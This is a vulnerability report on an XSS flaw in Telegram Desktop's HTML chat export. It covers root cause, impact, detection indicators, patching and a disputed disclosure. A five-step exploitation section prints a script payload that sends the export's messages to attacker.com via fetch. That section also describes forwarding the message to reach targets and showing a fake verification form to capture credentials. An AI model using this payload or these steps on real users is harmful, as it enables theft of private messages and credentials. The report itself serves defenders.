CVE-2026-94488: 
Telegram Desktop vulnerability analysis and mitigation

CVE-2026-94488 is a Cross-Site Scripting (XSS) vulnerability in Telegram Desktop's HTML export feature, affecting versions 4.15.1 through 6.9.3. The flaw exists in export_output_html.cpp, where inline keyboard button text (button.text.toUtf8) was written into exported HTML files without proper escaping, allowing an attacker to inject arbitrary JavaScript. The vulnerability was introduced in Telegram Desktop 4.15.1 (March 2024) and fixed in version 6.9.4 (beta, July 3, 2026) and 7.0.1 (stable, July 14, 2026). It carries a CVSS v3.1 base score of 8.2 (High) and a CVSS v4.0 base score of 8.3 (High) (GitHub Advisory, The Hacker News).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the absence of HTML escaping applied to bot inline keyboard button text during HTML export. In the vulnerable code path within export_output_html.cpp, button.text.toUtf8() was appended directly to the HTML output without passing through the SerializeString() sanitization function used elsewhere in the exporter. A bot could craft a button whose text contained a <script> tag (optionally padded with invisible characters to appear blank in the UI). Because forwarded messages retain their inline keyboard buttons, any group member could forward the malicious bot message into a target group without the bot being a member. Exploitation requires only that a victim subsequently exports the affected chat to HTML and opens the resulting file in a browser with JavaScript enabled (GitHub Commit, The Hacker News).

When a victim opens a maliciously crafted HTML export in a browser, the injected JavaScript executes in the browser context and can exfiltrate all message content within the export file — including sender names, timestamps, chat name, type, member count, and the local file path — to an attacker-controlled server. The script can also rewrite the displayed page, enabling disinformation attacks such as replacing the export with a fake Telegram verification form or altering message dates, senders, or content in files used as records. Because Telegram Desktop splits exports into files of 1,000 messages each, a single compromised export exposes at most 1,000 messages, but the payload persists in previously exported files even after the application is patched (The Hacker News, GitHub Advisory).

The NVD SSVC assessment classifies exploitation status as "poc" (proof-of-concept exists), though Feedly's executive summary notes no confirmed in-the-wild exploitation at time of publication. The vulnerability is not automatable and requires user interaction (the victim must perform an HTML export and open the resulting file). Security researchers Denis Rostilov and Aleksander Rostilov at ExPatch discovered and reported the flaw on June 3, 2026, publishing a detailed writeup on September 12, 2026. The EPSS score is approximately 0.138%, indicating low but non-negligible exploitation probability. The vulnerability is not listed in the CISA KEV catalog as of the time of this report (The Hacker News, GitHub Advisory).

1. Create a malicious bot: Register a Telegram bot and craft a message with an inline keyboard button whose text contains a JavaScript payload (e.g., <script>fetch('https://attacker.com/?d='+encodeURIComponent(document.body.innerText))</script>), optionally padded with invisible Unicode characters so the button appears blank in the Telegram Desktop UI.
2. Deliver the payload: Have the bot send the crafted message to any Telegram chat, or to a channel/group where it can be forwarded. Because forwarded messages retain inline keyboard buttons, any group member can forward the message into a target group without the bot being a member.
3. Wait for export: The malicious message sits in the chat history until a victim uses Telegram Desktop (version 4.15.1–6.9.3) to export the chat as HTML via Settings → Export Telegram Data → HTML format.
4. Trigger execution: When the victim opens the exported .html file in a browser with JavaScript enabled, the injected script executes automatically without any additional user interaction.
5. Exfiltrate data: The script reads all message content, sender names, timestamps, chat metadata, and the local file path from the export, then transmits this data to the attacker's server. Optionally, the script rewrites the page to display a phishing form (e.g., a fake Telegram verification page) to harvest credentials (The Hacker News, GitHub Commit).

• File System: HTML export files (typically located in Telegram Desktop/DataExport/ or user-specified export directory) containing <script> tags or JavaScript event handlers within <div class="bot_button"> elements; presence of unexpected <script> blocks in messages*.html export files.
• Network: Outbound HTTP/HTTPS requests from a browser process to unknown external domains immediately after opening a Telegram HTML export file; DNS queries to attacker-controlled domains originating from browser processes shortly after export file access.
• Logs: Browser developer console errors or network requests logged at the time an HTML export file is opened; browser history showing access to a local Telegram export file followed by external network connections.
• Process Behavior: Browser process making unexpected external network connections (e.g., fetch() or XMLHttpRequest) to non-Telegram domains when no active browsing session is expected, correlated with opening a local .html file (The Hacker News).

Update Telegram Desktop to version 6.9.4 (beta) or 7.0.1 (stable) or later, which apply proper HTML escaping via SerializeString() to inline keyboard button text (GitHub Release, GitHub Commit). After updating, re-export any chats previously exported to HTML using the vulnerable version, as the patch does not retroactively sanitize existing export files. As an interim measure, open existing HTML exports only with JavaScript disabled in the browser, or avoid opening them entirely until re-exported with a patched version. Users should treat any HTML export produced before the fix as untrusted, particularly exports from large groups where message provenance is difficult to verify (The Hacker News).

The Hacker News covered the vulnerability prominently, highlighting that Telegram shipped the fix silently without mentioning it in release notes, changelogs, or security advisories, and without assigning a CVE at the time of the fix (The Hacker News). Researchers Denis and Aleksander Rostilov at ExPatch reported that Telegram confirmed the flaw and offered a $500 bug bounty, which the researchers declined and requested be donated to charity; Telegram's response email discouraged public disclosure even after patching, which the researchers interpreted as a refusal and proceeded to publish after the fix shipped. The lack of a coordinated disclosure process, absence of a security advisory, and Telegram's discouragement of post-fix publication drew criticism from the security community. Social media discussion on Bluesky and aggregator sites noted the unusual disclosure circumstances and the risk posed to users with older HTML exports.